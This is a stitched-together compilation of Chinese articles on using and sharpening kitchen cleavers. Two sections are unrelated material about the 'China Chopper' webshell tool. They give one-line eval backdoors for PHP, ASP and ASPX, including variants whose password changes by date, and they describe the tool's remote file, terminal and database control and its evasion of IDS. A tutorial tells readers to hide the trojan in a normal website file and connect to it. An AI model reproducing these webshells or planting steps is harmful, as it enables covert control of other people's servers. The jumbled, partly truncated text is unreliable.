中国菜刀使用教程

合集下载

剞刀法操作方法及适用原料

剞刀法是一种传统的中式切菜技法，操作方法是用刀尖对着切菜的表面，逐渐剞下薄片。适用原料主要是蔬菜和水果，如胡萝卜、西兰花、土豆、苹果等。

具体的操作步骤如下：

1. 把菜或水果切成适当的大小和形状，尽量保持均匀。

2. 用刀尖在菜或水果表面轻轻剞出薄片，切口深度为1毫米左右，切口间距可根据需要自行调整。

3. 双手持刀，使刀尖垂直于切面，重复上述剞刀动作，剞下尽可能多的薄片。

注意事项：

1. 切菜时应选用锋利的菜刀，以免剞刀不利影响切菜效果。

2. 操作时应保持手指和手部远离刀刃，避免切伤手部。

3. 切菜后要及时清洗刀具，以免沾染菜刀上面的脏物影响下一次使用。

剞刀法的优点是可控性高，剞下的薄片整齐规矩，可用于装饰、美化菜品的外观，

增加视觉效果。而且由于剞下的薄片表面较大，容易使食材充分接触到空气，便于充分吸收调料的味道，增加风味。

菜刀开刃的方法和操作技巧

一、菜刀怎么开刃

1、使用磨刀石。

(1)拿出磨刀石，磨刀石要能固定，不能磨刀的时候磨刀石跟着移动。

(2)先磨刀的下半部分，然后再磨刀的上半部分。切记磨下半部分时，要刀倾斜4厘米；磨上半部分时，要倾

斜8厘米。

(3)磨刀石要保持湿润，磨刀的时候有长流水冲洗更好。磨刀途中，干了就上水，起浆后，一直磨刀，刀的

两面都要磨。

(4)磨过一遍后，观察刀刃每一段是否锋利，可用拇指沿刀刃的垂直方向轻刮感受触感，如果感觉是滑的则

不够锋利，可在这一段刀刃重点磨一遍。

开刃的刀有3个边，如果你仔细看就能看到那第3个边，说明已经开刃磨好了。

2、去专业的刀具店开刃

磨刀时，不熟练的人可能会不小心伤害到自己的手。且自己用磨刀石开刃只会弄出很普通的刀，如果追求更

好的开刃效果，刀具店的人有专业的技术，会带来更好的效果。

二、菜刀怎么磨才锋利

首先要选一块好的磨刀石，不用太粗的，太细的也不好，表面上看到粗砂就行。先两只手扶着菜刀，一手拿

着刀柄，一手拿着刀背;使菜刀与磨刀石充分接触，受力均匀；菜刀与磨刀石接触面尽量多，倾斜大概15°左右，然后沿着刀刃的方向斜着磨，磨过去后把刀拿起来跟刀石离体，再拉回原来的位置沿刀刃再磨，反复这动作，不

要压着磨刀石拉回来磨，那样会使磨好的刀刃再钝化。一面磨几次后再翻过去另一面按同样的方法磨。可以在磨

刀石上加点水湿润，这样可以使菜刀的磨损快一些，当然磨刀石也会磨损快一些，不过牺牲磨刀石在所难免的了。

菜刀的小技巧

1. 切菜时，将刀尖保持在案板上，以防止手指受伤。

2. 使用锋利的菜刀，以减少劳动强度。

3. 切菜时，将食材固定在案板上，使切割更容易。

4. 勿使用生锈或损坏的菜刀，以避免食材受到污染。

5. 当磨菜刀时，使刀刃保持稳定，并且保持正确的角度。

6. 将把手设计好的刀具放置在案板上，以避免手部滑动。

7. 使用足够的力量，在切菜时避免用力过猛，以免导致手部受伤。

8. 将切菜时要切的食材放置在案板上，以便刀具容易进入。

9. 清洁使用后的菜刀，并且保持干燥，以若使其保持锐利。

中国菜刀使用说明(China chopper)

软件名称：中国菜刀(China chopper)官方网站：/----------------------------------------------------------------------------------------------------------免责申明：请使用者注意使用环境并遵守国家相关法律法规！由于使用不当造成的后果本厂家不承担任何责任！----------------------------------------------------------------------------------------------------------程序在使用过程中难免有各种BUG，到官网看一下是否有更新吧，说不定己经修补了呢。----------------------------------------------------------------------------------------------------------UINCODE方式编译，支持多国语言输入显示。在非简体中文环境下使用，自动更换成英文界面，翻译有误的地方请留言指正。一、脚本客户端(包括但不限于EVAL)部分 1）基本信息 Eval服务端只需要简单的一行代码，即可用此程序实现常用的管理功能，功能代码二次编码后发送，过IDS的能力大幅提高。目前支持的服务端脚本：PHP, ASP, ，并且支持https安全连接的网站。在服务端运行的代码如下： PHP: ASP: <%eval request("chopper")%> : <%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>(注意: 要单独一个文件或此文件也是Jscript脚本) Customize: 自定义类型,功能代码在服务端保存,理论上支持所有动态脚本,只要正确与菜刀进行交互即可。此模式可按需定制，比如只要浏览目录，或是只要虚拟终端功能，代码可以很简短。随日期变化的连接密码, 服务端写法：:<%@ Page Language="Jscript"%><%eval(Request.Item[FormsAuthentication.HashPasswordForStoringInConfigFile(String.Format("{0:yyyyMMdd}",DateTime.Now.ToUniversalTime())+"37E4DD20C310142564FC483DB1132F36", "MD5").ToUpper()],"unsafe");%>PHP:@eval($_POST[strtoupper(md5(gmdate("Ymd")."37E4DD20C310142564FC483DB1132F36"))]);例如：菜刀的密码为chopper，在前面加三个字符,新密码为：{D}chopper 2）几大功能在主视图中右键/添加，在弹出的对话框中输入服务端地址，连接的密码(请注意上例中的pass字串)，选择正确的脚本类型和语言编码，保存后即可使用文件管理，虚拟终端，数据库管理，自写脚本几大块功能。 1. 文件管理：[特色]缓存下载目录，并支持离线查看缓存目录; 2. 虚拟终端：[特色]人性化的设计，操作方便;(输入HELP查看更多用法), 超长命令会分割为5k字节一份，分别提交。 3. 数据库管理：[特色]图形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS, 以及支持ADO方式连接的数据库。如果精通SQL语法，何必还要PHPMYADMIN呢？

厨房刀具说明书正确使用你的切菜刀

厨房刀具说明书正确使用你的切菜刀厨房刀具说明书

正确使用你的切菜刀

切菜刀是厨房中常见的刀具之一，它的正确使用不仅可以提高切菜的效率，还可以确保安全，同时也能延长刀具的使用寿命。本文将为大家提供正确使用切菜刀的相关说明，帮助您更好地利用这个重要的厨房工具。

一、切菜刀的材质选择

切菜刀的材质对切割效果和使用寿命都有很大的影响。高质量的切菜刀通常采用优质不锈钢制成，具有良好的刀刃锋利度和抗腐蚀性。此外，一些高级别的切菜刀还可能采用不同材质的叠层结构，以提供更好的切割体验和刀刃稳定性。

二、切菜刀的保养细节

为了确保切菜刀的长期使用效果，以下是一些重要的保养细节需要注意：

1.清洁：每次使用完切菜刀，应及时清洁刀刃和刀柄。用温水和中性洗涤剂轻轻擦洗刀刃，切忌使用金属丝球或者擦洗粉磨刀面，这样会损坏刀刃。同时，刀柄部分也应用湿布擦拭，确保刀身干燥。

2.储存：切菜刀在储存过程中应避免与其他金属物品接触，以免刀

刃受到损坏。可以选择专用的刀具收纳盒或者使用磁性刀架进行储存，确保刀刃不受损。

3.磨刀：当切菜刀使用时间较长后，刀刃可能会变钝。为了恢复其

锋利度，可以定期使用磨刀工具对刀刃进行磨刀。建议寻求专业人士

的协助，以避免因个人磨刀不当导致刀刃损坏。

三、切菜刀的正确使用姿势

正确的使用姿势有助于提高切菜刀的安全性和切菜效率，以下将介

绍常用的切菜刀使用姿势。

1.握柄：将切菜刀的柄握在手上，利用握柄的握感保持刀具的稳定

性和掌握力，以确保操作的准确性。

2.姿势：将要切割的食材放置在切菜板上，用切菜刀的刀刃与食材

接触的部分刀刃平行于切菜板的表面。通过升降手臂的运动，使切菜

切刀的正确使用方法

切刀是一种常用的厨房工具，用于切割食材，帮助烹饪和制作食物。然而，不正确或不安全的使用刀具可能会导致事故，因此正确的使用方法至关重要。以下是切刀的正确使用方法：

1.选择合适的切刀：切刀有各种类型和大小，可以根据不同的需要选择合适的刀具。例如，一把菜刀适用于切割肉类和蔬菜，而一把解骨刀则适用于切割硬骨头。

2.保持切刀锋利：刀具保持锋利非常重要，因为锋利的切刀更容易切削食材，同时减少手部受伤的风险。定期使用磨刀石或厨房刀具磨刀器来磨刀，并保持刀口的正确角度。

3.使用正确的切割姿势：正确的切割姿势可以提高效率，并减少受伤的风险。将刀柄握紧，手指卷曲到刀柄上，而不是悬空。用另一只手将食材稳定在切割板上，用刀刃下方三分之一的位置以迅速、平稳的动作切削食材。

4.保持稳定的切割板：使用稳定的切割板可防止刀子的滑动和食材的移动。选择结实的切割板，并将其放置在平稳的表面上。可以使用湿毛巾垫在切割板下，以提供额外的稳定性。

5.避免将手指放在刀片前面：当使用切刀时，应避免将手指放在刀片前面。将手指卷曲在刀柄上，并使用手指指甲的背面指引切割方向，而不是将手指放在刀片上方，以减少受伤的风险。

6.注意保持安全距离：使用切刀时，应保持安全距离。切割时要保持刀尖在你的身体外部，并在切割完成后将刀尖放在安全地方。将切割好的食材移开，以免刀子碰到它们。

7.专注注意力：使用切刀时，集中注意力非常重要。切割食材时，避

免分散注意力，例如同时进行其他对刀具使用的活动。专注于切割食材可

以提高效率，同时减少受伤的风险。

中国菜刀使用教程

想学学怎么用菜刀，刚在网上搜到了菜刀的使用方法。怕有和我一样的新手不会用，所以发过来，算是给大家分享吧。首先说一下菜刀的功能，菜刀是用来连一句话的，asp、aspx、php的一句话菜刀都可以连，只是这几种一句话语句不一样。

asp的一句话是：<%eval request("pass")%>

aspx的一句话是：<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>

php的一句话是：<?php @eval($_POST['pass']);?>

这几个一句话的密码都是pass，也就是双引号或者单引号包含着的这部分，比如我想把asp 的一句话的密码改成wc，那么改完之后就是这样的：

<%eval request("wc")%>

其他同理。

要想连一句话，你首先得把这个一句话插入到一个正常的网站文件中，asp的一句话插入到asp文件里，aspx的一句话插入到aspx文件里，php同理。

当然，你也可以把一句话单独写在一个文件里，比如你新建了一个asp文件，这个asp文件的全部内容就只有一个一句话，也是可以的。

插入了一句话木马，下面就是连接了。

在菜刀主界面，右击，选择“添加”，

在“地址”这里填上你插入一句话的文件的地址，后边的那个小框填的是你的一句话的密

码，其他的不用填，

填完之后单击“添加”，就可以了。

添加完毕后，你的这个一句话的shell会显示到主界面里，右击它，选择“文件管理”，就

新菜刀第一次用怎么处理

第一步、首先我们需要对新菜刀进行清洁处理，这是因为新菜刀在锻造和运输的过程中，上面会有一些有害的物质和难闻的气味。我们可以用洗完米后的淘米水来清洗菜刀，淘米水是天然的清洗剂，而且无害的，非常的实用。

第二步、菜刀清洗干净后就可以进行开锋处理了，家里有磨刀石的可以用磨刀石，没有的话可以用陶瓷碗倒过来。右手拿刀倾斜30度角，将刀从上往下均匀的磨一二十下左右，记住不可以来回的磨刀，一定要朝同一个方向用相同的力道磨刀才行，如下图所示这样，刀的正反面都是同一原理的磨刀。

第三步、菜刀开锋后可以往菜刀上面涂抹一点食用油，这样可以很好的保养菜刀，防止它生锈或者氧化了。

厨房握刀方法

1、握刀方法一：这是最标准的菜刀握法。握刀时，食指和拇指分别放在刀的两侧，握住刀跟，其余三指自然握住刀柄。这种握法能让刀保持稳定，不会轻易晃动，是一种最常见的握刀法。

2、握刀方法二：握刀时，拇指放在刀的一侧，食指放在刀背上，其余三指自然握住刀柄，利用食指的触感，用刀尖切菜，如在花枝上划刀纹就是用这种方法，用食指的触感让力道拿捏得更准确，但这种握法没办法让刀身稳定，用力的时候，容易发生危险；而且，这种方法让食指承受了太大的压力，时间一长食指容易出现酸痛不适感。

3、握刀方法三：拇指放在刀背上，其他四指自然握住刀柄，这样刀身就会有一个下压的力量，这种握刀法适用于剁碎东西时使用。剁东西时常会先把食材切成片状，再切成丝，然后再切成细丁，接下来就要用这种握刀法，一刀刀把食物剁碎。剁东西的时候，刀不要举得太高，这样才能轻松省力，容易加速，如果不用这种握刀法，手一下就会感觉到酸痛。

4、握刀方法四：用第一种握法拿刀，另一只手用靠近手腕处的力压刀背接近刀尖的部分。这种方法结合第三种握刀法，可让食物更容易切碎。操作时，用握刀的那一只手控制方向，然后像翘翘板那样，让菜刀在食物上反覆辗动，即可轻易切碎食材。

菜刀的技巧

以下是一些基本的菜刀技巧：

1. 握刀姿势：握住刀柄，将食指和中指放在刀背的一侧，用大拇指和其他手指包住刀柄。这个握刀姿势可以给予刀具更好的控制力和稳定性。

2. 切割姿势：将刀柄垂直于案板，刀尖略微向下。使用慢而有力的动作切割食材，同时保持手指和手掌远离刀刃。

3. 刀刃技巧：对于薄而小的食材，可以使用快速的推切技巧。对于较大的食材，可以使用滑动切割技巧，通过将刀刃从前向后滑动来切割。

4. 背部切割：有时候，你可能需要将食材的背部切割成薄片或者条状。将刀尖靠近案板，刀背离开案板，然后用刀刃平行地滑过食材。

5. 刀花技巧：刀花是一种以刀刃为中心旋转切割食材，营造出美观的形状。要进行刀花，将刀尖靠近案板，然后用均匀的力量将食材向下旋转，同时用刀刃来切割。

6. 注意安全：使用菜刀时，要小心刀刃的锐利性。将食材保持稳定，以避免受伤。另外，保持刀刃的锋利度也是非常重要的，需要定期磨刀，以确保菜刀的性能和安全性。

请注意，这里提供的技巧只是一些基本的指导，具体的技巧和方法可能会根据不同的刀具和食材而有所变化。在使用菜刀之前建议您仔细阅读刀具的使用说明，并根据个人的经验和需求进行实践和调整。

中国菜刀使用方法

中国菜刀是中国菜肴中非常常见并且必不可少的厨具，因此使用方法也同样重要。下面就为大家介绍如何正确使用中国菜刀。

1. 初次使用前

在使用中国菜刀之前，一定要先清洗干净。可以使用温水和洗涤剂，将菜刀表面的油脂、灰尘、细菌等清洗干净，并且在清洗后彻底擦干。此外，为了保护刀刃，在使用前可以在菜刀表面涂一层油，这样不仅可以保护刀刃，同时也可以防止生锈。

2. 如何拿刀

正确拿刀的方法有很多种，但是其中比较常用的方法是，将左手放置在刀柄上方，拇指和中指夹住刀柄，食指放置在刀身上，右手放在刀尖上方，用大拇指和食指夹住刀尖，中指和无名指放在刀柄上，这样既可以保持稳固，也可以控制好刀刃方向。

3. 使用时应注意的事项

使用菜刀时应该把刀在切割面下面以45度角的角度放置在食物上，在用力切割时保持手稳定，这样可以防止手抖导致刀割伤。切菜的时候，要注意切块大小，

将一些大块的食材（如肉、鸡腿等）先切成适当的小块，这样可以使烹饪的过程更加顺利。此外在使用过程中一定不要用力把菜刀砍在矮凳、橱柜、地板等硬物上，这样不但会对刀刃造成损伤，同时也容易影响切割的稳定性。

4. 如何保养菜刀

使用菜刀一段时间后，应该注意对其进行保养，以免磨损或者生锈影响使用效果。在使用过程中不要将刀放在酸性物质或者潮湿的环境下，这样会导致刀生锈或者腐蚀。使用完毕后应该清洗干净并且擦干，放在通风干燥的地方，以便于下次使用。定期对刀刃进行磨砺，以保证切割的效果和稳定性。

总结：

中国菜刀是许多人在烹饪中必不可少的厨具，正确的使用方法可以更好地发挥其作用，在使用菜刀时要注意安全，保持稳定的力度，合理的操作以及保养。如此操作，您的刀就可以使用得更加长久，效果也会更加出色。

中国菜刀用法

中国菜刀作为厨房中最常见的切菜工具之一，其用法和技巧的掌握对于厨艺的提高和菜品的制作有着重要的影响。下面就让我们来详细了解一下中国菜刀的用法。

握刀姿势

握刀姿势对于切菜的稳定性和效率至关重要。正确的握刀姿势应该是：将刀柄握在手掌根部，大拇指和食指在刀柄的两侧抱住，中指和无名指托住刀柄下端，保持手掌与刀柄成一条直线。这样握刀不仅可以使力量更加均匀，而且在切菜时也不会累。

切菜姿势

切菜姿势的正确与否，直接影响到切菜的效率和切片的质量。首先，应该选择一个安全、平稳的工作台，将食材清洗干净，去除多余的皮和头尾，然后将食材置于工作台上。在切菜时，应该将刀柄握稳，刀刃与工作台呈45度角，刀刃的尖端对准食材的中心，同时将刀刃保持在食材表面，以保证切片整齐、均匀。

切菜技巧

（1）刀尖下切：指刀尖先下切，切出的菜片薄而匀称。

（2）刀尖上切：指刀尖向上斜切，用于切厚菜片。

（3）横向切：将食材横放，使用刀身的全长横向切，切出的菜片宽而薄。

（4）斜向切：将食材斜放，刀身斜向切，切出的菜片厚薄均匀，适用于切成菱形或三角形的食材。

（5）拍打切：用刀背或刀侧拍打食材，使其松软后再切，适用于较硬的食材，如胡萝卜、芹菜等。

注意事项

使用刀具时一定要注意安全。切菜时不要将刀刃朝向自己或他人，避免发生意外伤害。当使用中国菜刀时，应注意以下几点：握刀方式：正确的握刀方式是将食指和中指分别放在刀柄上，大拇指则放在刀柄上方的凸起处，另外两个手指则握住刀柄下方的部分。这种握刀方式可以提供更好的掌控力和切割力度。

切割姿势：要注意将刀尖固定在切割物的表面上，然后以均匀的力度将刀往下压，而不是使用大力砍劈。

中餐菜刀用法

中餐菜刀是中餐烹饪中必不可少的重要工具，熟练的使用菜刀既

能提高工作效率，又能保证食品安全和呈现美观的菜品。因此，掌握

中餐菜刀的使用技巧及正确的使用方法非常重要。下面分步骤介绍中

餐菜刀的用法。

第一步：选择适合的菜刀

不同种类的中餐菜刀形状不同，应根据自己的需要选择合适的刀型。

比如需要切割大块的食材选择大刀，需要切细的食材选择小刀和牛刀；需要切骨头的可以选择骨刀；需要剁碎食材的可以选择菜刀和斧头。

另外，如果持刀时感觉不够稳固，可以选择一把带有把手的刀。

第二步：正确的握刀姿势

持刀的手应该紧握刀柄，手肘微弯，手腕稳定，刀刃的方向要向下，

同时手指卸掉多余力量，使切割更加稳健。另外，在使用菜刀的过程中，应该保持自己的手肘与切割物体平行，不要侧向而斩，这样更容

易受伤。

第三步：正确的切割姿势

在使用菜刀的时候，食物应该放在板凳或者砧板上，不要拿在手中切割。拿着切割食物的手可以用食指和拇指捏住食物，切片的过程中注

意食物厚薄一致。在切割的过程中，手腕以自然弯曲为宜，身体保持

稳定的姿态。

第四步：注意保养

在日常使用中，菜刀要注意保养，避免长时间受潮，以免刀柄有霉，

内部腐烂，刀刃锈蚀，要经常用抹布抹干刀身，并涂上食物级润滑油。

第五步：注意安全

在使用中餐菜刀的过程中要注意安全。菜刀是属于锋利器具，所以在

使用的过程中一定要保持专注和谨慎，以免受伤。在不需要用菜刀的

时候，应该将刀刃放在刀套中，避免意外伤害。

总之，正确的使用方法对于中餐菜刀非常重要，掌握了正确的使

用方法可以提高工作效率，保证食品安全并呈现出更美观的菜品。在实际使用中，一定要注意食品安全和自身安全，避免意外伤害。

菜刀的正确磨刀方法

以下是磨刀菜刀的正确方法：

1. 准备磨刀工具：磨刀石，水或石油（磨刀石需要用水浸泡，石油则是用来润滑磨刀的），平整的工作台。

2. 浸泡磨刀石：将磨刀石浸泡在水中约15分钟，直到完全吸水。

3. 塑造刀刃：将菜刀的刀刃置于磨刀石上，与石头成一定角度，通常为20度至25度。

4. 手握刀柄：稳定菜刀，将它靠紧磨刀石。

5. 开始磨刀：用稳定的压力，以水平方向将刀刃拉过磨刀石。保持相同的压力和角度，重复这个动作。

6. 均匀磨刀：确保整个刀刃都均匀地接触到磨刀石。可以在刀背上使用更轻的压力，以确保整个刀刃都能被磨到。

7. 磨刀次数：至少磨刀10次，然后反转刀刃，重复以上步骤。

8. 日常保养：每次使用后，用温水冲洗刀刃，确保清除所有食物残渣。然后将

刀刃用干净的布擦干。

请记住，磨刀是一项需要技巧和耐心的任务，如果不熟悉或缺少经验，建议请专业的刀具维修人员来磨刀。

菜刀使用方法

菜刀是我们日常烹饪中必不可少的厨房工具之一，它的正确使用方法可以提高工作效率，避免操作不当造成伤害。下面将介绍菜刀的正确使用方法，以及一些注意事项。

一、握刀姿势

正确的握刀姿势可以提高菜刀的控制力和灵活性，减少伤害的发生。首先，将食指和中指分别放在菜刀的刀背和刀柄之间，大拇指放在刀柄的一侧，其余的三个手指放在刀柄的另一侧。握刀时要保持手指和手掌的自然弯曲，这样可以更好地控制刀的方向和力度。

二、切菜技巧

1. 切菜姿势：将切好的菜放在砧板上，用非切菜的手稳住菜，并将刀刃放在菜的一侧。用切菜的手指尽量向前方伸展，这样可以更好地控制刀的运动轨迹。

2. 刀法：切菜时要保持刀刃与砧板之间的夹角约为30度，这样可以更容易将刀刃切入菜中。同时，刀刃与砧板的接触点应该是刀刃前部分，而不是后部分，这样可以更好地控制刀的力度。

3. 力度控制：切菜时要根据不同的菜品和切割部位控制力度。对于较硬的菜品，如胡萝卜和土豆，可以适当增加力度；而对于较软的

菜品，如蘑菇和豆腐，要轻柔一些，以免将它们切碎。

三、保养与安全

1. 刀具保养：使用后要及时清洗刀刃，并用干布擦干水分，避免生锈。刀刃应放在刀架或磁吸板上，切勿将其随意堆放在抽屉或案板上，以免刀刃受损。

2. 安全使用：在使用菜刀时要注意以下几点：

- 切菜时要注意手指的位置，尽量将手指弯曲并靠近刀背，以免刀刃误伤手指。

- 切菜时要保持砧板的稳定，避免砧板滑动造成伤害。

- 使用菜刀时要集中注意力，避免分心造成意外事故。

四、常见问题解答

1. 菜刀刀刃变钝怎么办？

菜刀磨锋利的正确方法

菜刀磨锋利的正确方法有以下几个步骤：

准备工具：磨刀石和油。选用磨刀石要根据刀具材质和使用环境选择，比如硬度高的刀具要使用细石头，而容易生锈的刀具要用钻石石头。油可以使用食用油或者石油。

准备菜刀：将菜刀洗净并擦干。

涂油：将磨刀石浸泡在水中5-10分钟，然后均匀涂抹油。

开始磨刀：将磨刀石放在桌上，用左手握住磨刀石，右手握住刀柄，将刀柄插入磨刀石的缝中，将刀刃与磨刀石成15-20度的角度斜着拉过磨刀石。记得保持一定的力度，同时左右两侧要均匀磨刀。

交换位置：每磨几下就换一下位置，从磨刀石的粗面到细面，一直到刀锋锋利。

磨完后清洁：用清水将刀和磨刀石洗净，再用厨房纸擦干。

注意事项：

磨刀时要保证刀刃和磨刀石成一定的角度，切忌刀刃垂直于磨刀石。

初次磨刀时要从粗磨到细磨，每种磨刀石磨几下就要换一下位置。

磨刀时不要用力过猛，以免磨损刀刃。

磨刀时要有耐心，切忌急躁，一遍磨刀石不够可以多磨几次。